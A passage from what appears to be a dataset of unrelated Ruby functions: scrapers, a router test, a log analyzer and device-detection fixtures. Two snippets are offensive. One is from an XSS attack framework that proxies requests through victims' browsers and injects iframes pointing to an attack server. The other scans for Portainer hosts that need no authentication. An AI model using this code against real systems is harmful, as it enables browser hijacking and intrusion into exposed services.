t\n break\n end\n end\n \n if sTable == false\n # Wrong here\n self.msg(rule_name,:error,'ip_address_distribution','Did NOT find the target table.')\n return\n end\n \n iFlag = 0\n strEntry = \"\"\n \n # Find the row\n sTable.each do |row|\n \n iFlag = iFlag + 1\n \n # not for first line\n if iFlag == 1\n next\n end\n strEntry = \"IP\" + (iFlag - 1).to_s\n \n # Output in to the result.\n self.msg(rule_name,strEntry,'Name',row[1])\n self.msg(rule_name,strEntry,'Service',row[2])\n self.msg(rule_name,strEntry,'Subnet Mask',row[3])\n self.msg(rule_name,strEntry,'Dynamic IP Range',row[4])\n \n end \n\n if info.has_key?('Name')\n case info['Name']\n when 'Network (Home/Office)'\n DoNetworkHomeOfficePage(rule_name, info)\n when 'Broadband Connection (Ethernet)'\n DoBroadbandConnectionEthernetPage(rule_name, info)\n when 'Broadband Connection (Coax)'\n DoBroadbandConnectionCoaxPage(rule_name, info)\n when 'Connection List'\n DoConnectionList(rule_name, info)\n when 'Access Control'\n DoAccessControl(rule_name, info)\n else\n self.msg(rule_name, :error, '', 'No Name undefined')\n end \n else\n self.msg(rule_name, :error, '', 'No layout key found')\n end\n \n # Close the window\n if @ff.text.include?'Close'\n @ff.link(:text,'Close').click\n end\n \n # Output the result\n self.msg(rule_name,:Result_Info,'ip_address_distribution','SUCCESS') \n \n end",
"def getwarnings(hostn, ipadr)\n\n\t\t\t#Getting Warning lines from actual SSLlabs web page since this info is not available through api yet\n\t\t\tdoc = Nokogiri::HTML(open(\"https://www.ssllabs.com/ssltest/analyze.html?d=#{hostn}&s=#{ipadr}&hideResults=on\"))\n\t\t\t#Printing warnings messages\n\t\t\t#doc.xpath(\"//div[contains(@class,'warningBox')]\").each { |node| puts node.text}\n\t\t\tdoc.xpath(\"//div[contains(@class,'warningBox')]\").each { |node| puts node}\nend",
"def inventario_vulnerables()\n inventario_portainer() # Invoke a General Inventory.\n $portainer_hosts.each do | ip | \n uri = URI.parse(\"http://#{ip}:#{$port}/api/status\") \n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body) \n auth = json_response[\"Authentication\"] # If no Auth is needed to access.\n if auth.to_s.chomp() == \"false\" \n $hosts_vulnerables += 1 \n $vulnerable_hosts.push(ip) \n end\n end\nend",
"def search_apility_by_ip entity_name, headers\n\n # Get the Api response\n response_body = http_get_body(\"https://api.apility.net/badip/#{entity_name}\",nil, headers)\n\n if response_body == \"Resource not found\"\n _log_error \"Response not found\"\n return\n end\n\n begin\n json = JSON.parse(response_body)\n rescue JSON::ParserError => e\n _log_error \"Error parsing JSON\"\n _log_error \"Response:\\n#{response_body}\"\n return\n end\n\n\n\n # Check if response different to nil\n if json[\"response\"]\n json[\"response\"].each do |e|\n source = e\n description = \"Apility.io is a blacklist aggregator\"\n\n # Create an issue if the ip is flaged in one of the blacklists\n _create_linked_issue(\"suspicious_activity_detected\", {\n status: \"confirmed\",\n additional_description: description,\n source: source,\n proof: \"This IP was founded related to suspicious activities in #{source}\",\n references: []\n })\n\n # Also store it on the entity\n blocked_list = @entity.get_detail(\"suspicious_activity_detected\") || []\n @entity.set_detail(\"suspicious_activity_detected\", blocked_list.concat([{source: source}]))\n\n end\n end\n end",
"def fetch_permit(id)\n begin\n browser.goto \"http://www.occpermit.com/WellBrowse/Webforms/WellInformation.aspx?ID=#{id}\"\n if browser.text_field(:id, /APINumber/).value.empty?\n return nil\n end\n record = {}\n browser.text_fields.each do |textfield|\n key = textfield.name.split(\"$\")[-1].sub(\"txt\", \"\")\n record[key] = textfield.value.strip\n end\n browser.button(:value, \"Completions\").click\n completions = browser.frame(:id, /contentRight/).table(:id, /Completion/).when_present.to_a\n # Remove any blank columns from left of table\n while (completions[0][0].strip.empty?) do\n completions.each &:shift\n end\n fieldnames = completions.shift\n record['completions'] = completions.map do |completion|\n Hash[*fieldnames.zip(completion).flatten]\n end\n record\n rescue => e\n STDERR.puts \"Exception #{e.to_s}. Clearing browser and retrying\"\n $browser = nil\n end\nend",
"def http_request_module(res, url, req, id)\n\t\t\t\tdata = run_http_client(url, req, false)\n\n\t\t\t\tif (data != nil)\n\t\t\t\t\tdata.headers['P3P'] \t\t= 'CP=\"HONK IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA\"'\n\t\t\t\t\tdata.headers['Set-Cookie'] \t= \"id=#{id}; Path=/;\"\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tcase (data.code).to_s\n\t\t\t\t\t\twhen /1..|4..|5../\n\t\t\t\t\t\t\tXSSF_404(res)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\twhen /3../\n\t\t\t\t\t\t\tif (data['Location'])\n\t\t\t\t\t\t\t\tsrc = \"#{req.host}:#{self.serverPort}#{self.serverURI}#{data['Location']}\".gsub(/\\/\\//, '/')\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t\t\tiframe = XSSF_CREATE_IFRAME(\"REDIRECT_IFRAME\", 50, 50);\n\t\t\t\t\t\t\t\t\tiframe.src = \"http://#{src}\";\n\t\t\t\t\t\t\t\t\tdocument.body.appendChild(iframe);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tdata['Content-Type'] = \"text/javascript\"\n\t\t\t\t\t\t\t\tXSSF_RESP(res, code, \"200\", \"OK\", data.headers)\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tXSSF_404(res)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse \t# 2xx\n\t\t\t\t\t\t\tif (data.body =~ /^(.*<html[^>]*>)(.*)(<\\/html>.*)$/im)\t\n\t\t\t\t\t\t\t\tsrc = \"#{req.host}:#{self.serverPort}#{self.serverURI}#{URI.parse(URI.escape(url)).path.to_s}\".gsub(/\\/\\//, '/')\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t# Can't create IFRAME dynamically because we need the src to be the attack server ! Victim need to ask again\n\t\t\t\t\t\t\t\tcode = %Q{\n\t\t\t\t\t\t\t\t\tiframe = XSSF_CREATE_IFRAME(\"MODULE_IFRAME\", 50, 50);\n\t\t\t\t\t\t\t\t\tiframe.src = \"http://#{src}\";\n\t\t\t\t\t\t\t\t\tdocument.body.appendChild(iframe);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tdata['Content-Type'] = \"text/javascript\"\n\t\t\t\t\t\t\t\tXSSF_RESP(res, code, data.code, data.message, data.headers)\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tXSSF_RESP(res, add_xssf_post(data.body, id, req.host), data.code, data.message, data.headers)\n\t\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tXSSF_404(res)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn false\n\t\t\tend",
"def analyze_404\n selected_files.each do |file_name|\n result = [file_name[0,6], 0, 0]\n url = ''\n File.readlines(file_name).each do |line|\n if m = /Started(.*?)for/.match(line)\n url = m[1]\n end\n if m = /404/.match(line)\n p url.gsub('\"','')\n end\n end\n end\nend",
"def setup\t\t\r\n\t\t@notFoundHeaders = ['Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; AskTbFWV5/5.12.2.16749; 978803803','Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 ( .NET CLR 3.5.30729) Swapper 1.0.4','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Sky Broadband; GTB7.1; SeekmoToolbar 4.8.4; Sky Broadband; Sky Broadband; AskTbBLPV5/5.9.1.14019)']\r\n\r\n\t\t@h1 = Hash.new\r\n\t\t@h1['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[3373773858] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h1['x-wap-profile'] = 'http://www-ccpp.tcl-ta.com/files/ALCATEL_one_touch_908.xml'\r\n\t\t@h1['match'] = 'AlcatelOT-908222'\r\n\r\n\t\t@h2 = Hash.new\r\n\t\t@h2['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; SCH-M828C[3373773858] Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h2['match'] = 'SamsungSCH-M828C'\r\n\r\n\t\t@h3 = Hash.new\r\n\t\t@h3['x-wap-profile'] = 'http://www-ccpp.tcl-ta.com/files/ALCATEL_one_touch_908.xml'\r\n\t\t@h3['match'] = 'AlcatelOT-90822'\r\n\r\n\t\t@h4 = Hash.new\r\n\t\t@h4['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.3.3; es-es; GT-P1000N Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\r\n\t\t@h4['x-wap-profile'] = 'http://wap.samsungmobile.com/uaprof/GT-P1000.xml'\r\n\t\t@h4['match'] = 'SamsungGT-P1000'\r\n\r\n\t\t@h5 = Hash.new\r\n\t\t@h5['user-agent'] = 'Opera/9.80 (J2ME/MIDP; Opera Mini/5.21076/26.984; U; en) Presto/2.8.119 Version/10.54'\r\n\t\t@h5['match'] = 'GenericOperaMini'\r\n\r\n\t\t@h6 = Hash.new\r\n\t\t@h6['user-agent'] = 'Opera/9.80 (iPhone; Opera Mini/6.1.15738/26.984; U; tr) Presto/2.8.119 Version/10.54'\r\n\t\t@h6['match'] = 'AppleiPhone'\r\n\r\n\t\t@h7 = Hash.new\r\n\t\t@h7['user-agent'] = 'Mozilla/5.0 (Linux; U; Android 2.1-update1; cs-cz; SonyEricssonX10i Build/2.1.B.0.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17'\r\n\t\t@h7['match'] = 'SonyEricssonX10I'\r\n\r\n\t\t@nokiaN95 = \"{\\\"general_vendor\\\":\\\"Nokia\\\",\\\"general_model\\\":\\\"N95\\\",\\\"general_platform\\\":\\\"Symbian\\\",\\\"general_platform_version\\\":\\\"9.2\\\",\\\"general_browser\\\":\\\"\\\",\\\"general_browser_version\\\":\\\"\\\",\\\"general_image\\\":\\\"nokian95-1403496370-0.gif\\\",\\\"general_aliases\\\":[],\\\"general_eusar\\\":\\\"0.50\\\",\\\"general_battery\\\":[\\\"Li-Ion 950 mAh\\\",\\\"BL-5F\\\"],\\\"general_type\\\":\\\"Mobile\\\",\\\"general_cpu\\\":[\\\"Dual ARM 11\\\",\\\"332MHz\\\"],\\\"design_formfactor\\\":\\\"Dual Slide\\\",\\\"design_dimensions\\\":\\\"99 x 53 x 21\\\",\\\"design_weight\\\":\\\"120\\\",\\\"design_antenna\\\":\\\"Internal\\\",\\\"design_keyboard\\\":\\\"Numeric\\\",\\\"design_softkeys\\\":\\\"2\\\",\\\"design_sidekeys\\\":[\\\"Volume\\\",\\\"Camera\\\"],\\\"display_type\\\":\\\"TFT\\\",\\\"display_color\\\":\\\"Yes\\\",\\\"display_colors\\\":\\\"16M\\\",\\\"display_size\\\":\\\"2.6\\\\\\\"\\\",\\\"display_x\\\":\\\"240\\\",\\\"display_y\\\":\\\"320\\\",\\\"display_other\\\":[],\\\"memory_internal\\\":[\\\"160MB\\\",\\\"64MB RAM\\\",\\\"256MB ROM\\\"],\\\"memory_slot\\\":[\\\"microSD\\\",\\\"8GB\\\",\\\"128MB\\\"],\\\"network\\\":[\\\"GSM850\\\",\\\"GSM900\\\",\\\"GSM1800\\\",\\\"GSM1900\\\",\\\"UMTS2100\\\",\\\"HSDPA2100\\\",\\\"Infrared\\\",\\\"Bluetooth 2.0\\\",\\\"802.11b\\\",\\\"802.11g\\\",\\\"GPRS Class 10\\\",\\\"EDGE Class 32\\\"],\\\"media_camera\\\":[\\\"5MP\\\",\\\"2592x1944\\\"],\\\"media_secondcamera\\\":[\\\"QVGA\\\"],\\\"media_videocapture\\\":[\\\"VGA@30fps\\\"],\\\"media_videoplayback\\\":[\\\"MPEG4\\\",\\\"H.263\\\",\\\"H.264\\\",\\\"3GPP\\\",\\\"RealVideo 8\\\",\\\"RealVideo 9\\\",\\\"RealVideo 10\\\"],\\\"media_audio\\\":[\\\"MP3\\\",\\\"AAC\\\",\\\"AAC+\\\",\\\"eAAC+\\\",\\\"WMA\\\"],\\\"media_other\\\":[\\\"Auto focus\\\",\\\"Video stabilizer\\\",\\\"Video calling\\\",\\\"Carl Zeiss optics\\\",\\\"LED Flash\\\"],\\\"features\\\":[\\\"Unlimited entries\\\",\\\"Multiple numbers per contact\\\",\\\"Picture ID\\\",\\\"Ring ID\\\",\\\"Calendar\\\",\\\"Alarm\\\",\\\"To-Do\\\",\\\"Document viewer\\\",\\\"Calculator\\\",\\\"Notes\\\",\\\"UPnP\\\",\\\"Computer sync\\\",\\\"VoIP\\\",\\\"Music ringtones (MP3)\\\",\\\"Vibration\\\",\\\"Phone profiles\\\",\\\"Speakerphone\\\",\\\"Accelerometer\\\",\\\"Voice dialing\\\",\\\"Voice commands\\\",\\\"Voice recording\\\",\\\"Push-to-Talk\\\",\\\"SMS\\\",\\\"MMS\\\",\\\"Email\\\",\\\"Instant Messaging\\\",\\\"Stereo FM radio\\\",\\\"Visual radio\\\",\\\"Dual slide design\\\",\\\"Organizer\\\",\\\"Word viewer\\\",\\\"Excel viewer\\\",\\\"PowerPoint viewer\\\",\\\"PDF viewer\\\",\\\"Predictive text input\\\",\\\"Push to talk\\\",\\\"Voice memo\\\",\\\"Games\\\"],\\\"connectors\\\":[\\\"USB\\\",\\\"MiniUSB\\\",\\\"3.5mm Audio\\\",\\\"TV Out\\\"],\\\"general_platform_version_max\\\":\\\"\\\",\\\"general_app\\\":\\\"\\\",\\\"general_app_version\\\":\\\"\\\",\\\"general_language\\\":\\\"\\\",\\\"display_ppi\\\":154,\\\"display_pixel_ratio\\\":\\\"1.0\\\",\\\"benchmark_min\\\":0,\\\"benchmark_max\\\":0,\\\"general_app_category\\\":\\\"\\\"}\"\r\n\t\t@nokiaN9 = \"{\\\"general_vendor\\\":\\\"nokia\\\",\\\"general_model\\\":\\\"n9\\\",\\\"general_platform\\\":\\\"meego\\\",\\\"general_platform_version\\\":\\\"1.2\\\",\\\"general_browser\\\":\\\"\\\",\\\"general_browser_version\\\":\\\"\\\",\\\"general_image\\\":\\\"\\\",\\\"general_aliases\\\":[\\\"nokia n9-00\\\",\\\"nokia n9 lankku\\\"],\\\"general_eusar\\\":\\\"1.16\\\",\\\"general_battery\\\":[\\\"li-ion 1450 mah\\\",\\\"bv-5jw\\\"],\\\"general_type\\\":\\\"mobile\\\",\\\"general_cpu\\\":[\\\"1.0ghz\\\"],\\\"design_formfactor\\\":\\\"bar\\\",\\\"design_dimensions\\\":\\\"116.45 x 61.2 x 12.1\\\",\\\"design_weight\\\":\\\"135\\\",\\\"design_antenna\\\":\\\"internal\\\",\\\"design_keyboard\\\":\\\"screen\\\",\\\"design_softkeys\\\":\\\"\\\",\\\"design_sidekeys\\\":[\\\"volume\\\",\\\"lock\\\"],\\\"display_type\\\":\\\"amoled\\\",\\\"display_color\\\":\\\"yes\\\",\\\"display_colors\\\":\\\"16m\\\",\\\"display_size\\\":\\\"3.9\\\\\\\"\\\",\\\"display_x\\\":\\\"480\\\",\\\"display_y\\\":\\\"854\\\",\\\"display_other\\\":[\\\"capacitive\\\",\\\"touch\\\",\\\"multitouch\\\",\\\"gorilla glass\\\"],\\\"memory_internal\\\":[\\\"16gb\\\",\\\"64gb\\\",\\\"1gb ram\\\"],\\\"memory_slot\\\":[],\\\"network\\\":[\\\"gsm850\\\",\\\"gsm900\\\",\\\"gsm1800\\\",\\\"gsm1900\\\",\\\"umts850\\\",\\\"umts900\\\",\\\"umts1700\\\",\\\"umts2100\\\",\\\"umts1900\\\",\\\"hsdpa850\\\",\\\"hsdpa900\\\",\\\"hsdpa1700\\\",\\\"hsdpa1900\\\",\\\"hsdpa2100\\\",\\\"nfc\\\",\\\"bluetooth 2.1\\\",\\\"802.11a\\\",\\\"802.11b\\\",\\\"802.11g\\\",\\\"802.11n\\\",\\\"gprs class 33\\\",\\\"edge class 33\\\"],\\\"media_camera\\\":[\\\"8mp\\\",\\\"3264x2448\\\"],\\\"media_secondcamera\\\":[\\\"yes\\\"],\\\"media_videocapture\\\":[\\\"720p@30fps\\\"],\\\"media_videoplayback\\\":[\\\"mpeg4\\\",\\\"h.263\\\",\\\"h.264\\\",\\\"xvid\\\",\\\"wmv\\\",\\\"avi\\\",\\\"3gpp\\\",\\\"flash video\\\"],\\\"media_audio\\\":[\\\"mp3\\\",\\\"aac\\\",\\\"eaac\\\",\\\"aac+\\\",\\\"eaac+\\\",\\\"flac\\\",\\\"wma\\\",\\\"wav\\\",\\\"m4a\\\",\\\"amr\\\",\\\"ogg\\\"],\\\"media_other\\\":[\\\"auto focus\\\",\\\"face detection\\\",\\\"exposure control\\\",\\\"white balance\\\",\\\"digital zoom\\\",\\\"geo-tagging\\\",\\\"continuous autofocus in a video\\\",\\\"video calling\\\",\\\"carl zeiss optics\\\",\\\"touch focus\\\",\\\"dual led flash\\\"],\\\"features\\\":[\\\"unlimited entries\\\",\\\"caller groups\\\",\\\"multiple numbers per contact\\\",\\\"search by both first and last name\\\",\\\"picture id\\\",\\\"ring id\\\",\\\"calendar\\\",\\\"alarm\\\",\\\"to-do\\\",\\\"document viewer\\\",\\\"office 2007 viewer\\\",\\\"office 2003 viewer\\\",\\\"pdf viewer\\\",\\\"other\\\",\\\"open document viewer\\\",\\\"calculator\\\",\\\"mass storage device\\\",\\\"usb charging\\\",\\\"computer sync\\\",\\\"ota sync\\\",\\\"music ringtones (mp3)\\\",\\\"polyphonic ringtones\\\",\\\"vibration\\\",\\\"flight mode\\\",\\\"silent mode\\\",\\\"speakerphone\\\",\\\"accelerometer\\\",\\\"compass\\\",\\\"voice recording\\\",\\\"light sensor\\\",\\\"proximity sensor\\\",\\\"sms\\\",\\\"threaded viewer\\\",\\\"mms\\\",\\\"email\\\",\\\"push email\\\",\\\"im\\\",\\\"microsim card support only\\\",\\\"sns integration\\\",\\\"active noise cancellation with dedicated mic\\\",\\\"dolby digital plus\\\",\\\"word viewer\\\",\\\"excel viewer\\\",\\\"powerpoint viewer\\\",\\\"video/photo editor\\\",\\\"voice memo\\\",\\\"voice command\\\",\\\"voice dialing\\\",\\\"predictive text input (swype)\\\",\\\"games\\\"],\\\"connectors\\\":[\\\"usb 2.0\\\",\\\"microusb\\\",\\\"3.5mm audio\\\",\\\"tv out\\\"],\\\"general_language\\\":\\\"\\\",\\\"general_platform_version_max\\\":\\\"\\\",\\\"general_app\\\":\\\"\\\",\\\"general_app_version\\\":\\\"\\\",\\\"display_ppi\\\":251,\\\"display_pixel_ratio\\\":\\\"1.0\\\",\\\"benchmark_min\\\":0,\\\"benchmark_max\\\":0,\\\"general_app_category\\\":\\\"\\\"}\"\r\n\t\t@AlcatelOT_908222 = '{\"general_vendor\":\"Alcatel\",\"general_model\":\"OT-908\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"Alcatel One Touch 908\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1300 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"600Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"110 x 57.4 x 12.4\",\"design_weight\":\"120\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Lock/Unlock\",\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"2.8\\\"\",\"display_x\":\"240\",\"display_y\":\"320\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"150MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS Class 12\",\"EDGE Class 12\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[\"MPEG4\",\"H.263\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones (64 voices)\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Compass\",\"Voice recording\",\"SMS\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Stereo FM radio with RDS\",\"SNS integration\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Organizer\",\"Document viewer\",\"Voice memo\",\"Voice dialing\",\"Predictive text input\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@SamsungSCH_M828C = '{\"general_vendor\":\"Samsung\",\"general_model\":\"SCH-M828C\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsungsch-m828c-1355919519-0.jpg\",\"general_aliases\":[\"Samsung Galaxy Prevail\",\"Samsung Galaxy Precedent\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1500 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"800Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"113 x 57 x 12\",\"design_weight\":\"108\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"3.2\\\"\",\"display_x\":\"320\",\"display_y\":\"480\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Touch Buttons\"],\"memory_internal\":[\"117MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"CDMA800\",\"CDMA1900\",\"Bluetooth 3.0\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"QVGA\"],\"media_videoplayback\":[\"MP3\",\"WAV\",\"eAAC+\"],\"media_audio\":[\"MP4\",\"H.264\",\"H.263\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice dialing\",\"Voice recording\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Organizer\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Voice memo\",\"Predictive text input (Swype)\",\"Games\"],\"connectors\":[\"USB\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@AlcatelOT_90822 = '{\"general_vendor\":\"Alcatel\",\"general_model\":\"OT-908\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"Alcatel One Touch 908\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1300 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"600Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"110 x 57.4 x 12.4\",\"design_weight\":\"120\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Lock/Unlock\",\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"2.8\\\"\",\"display_x\":\"240\",\"display_y\":\"320\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"150MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS Class 12\",\"EDGE Class 12\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[\"MPEG4\",\"H.263\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones (64 voices)\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Compass\",\"Voice recording\",\"SMS\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Stereo FM radio with RDS\",\"SNS integration\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Organizer\",\"Document viewer\",\"Voice memo\",\"Voice dialing\",\"Predictive text input\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\t\t\r\n\t\t@SamsungGT_P1000 = '{\"general_vendor\":\"Samsung\",\"general_model\":\"GT-P1000\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsunggt-p1000-1368755043-0.jpg\",\"general_aliases\":[\"Samsung Galaxy Tab\"],\"general_eusar\":\"1.07\",\"general_battery\":[\"Li-Ion 4000 mAh\"],\"general_type\":\"Tablet\",\"general_cpu\":[\"1000Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"190.1 x 120.45 x 11.98\",\"design_weight\":\"380\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"16M\",\"display_size\":\"7\\\"\",\"display_x\":\"1024\",\"display_y\":\"600\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Touch Buttons\",\"Gorilla Glass\",\"TouchWiz\"],\"memory_internal\":[\"16GB\",\"32GB\",\"512MB RAM\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS1900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA1900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS\",\"EDGE\"],\"media_camera\":[\"3.15MP\",\"2048x1536\"],\"media_secondcamera\":[\"1.3MP\"],\"media_videocapture\":[\"720x480@30fps\"],\"media_videoplayback\":[\"MPEG4\",\"H.264\",\"DivX\",\"XviD\"],\"media_audio\":[\"MP3\",\"AAC\",\"FLAC\",\"WMA\",\"WAV\",\"AMR\",\"OGG\",\"MIDI\"],\"media_other\":[\"Auto focus\",\"Video calling\",\"Geo-tagging\",\"LED Flash\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"DLNA\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice commands\",\"Voice recording\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push Mail\",\"IM\",\"RSS\",\"Social networking integration\",\"Full HD video playback\",\"Up to 7h movie playback\",\"Organizer\",\"Image/video editor\",\"Thinkfree Office\",\"Word viewer\",\"Excel viewer\",\"PowerPoint viewer\",\"PDF viewer\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Readers/Media/Music Hub\",\"Voice memo\",\"Voice dialing\",\"Predictive text input (Swype)\",\"Games\"],\"connectors\":[\"USB\",\"3.5mm Headphone\",\"TV Out\",\"MHL\"],\"general_language\":\"\"}'\t\t\r\n\t\t@GenericOperaMini = '{\"general_vendor\":\"Generic\",\"general_model\":\"Opera Mini 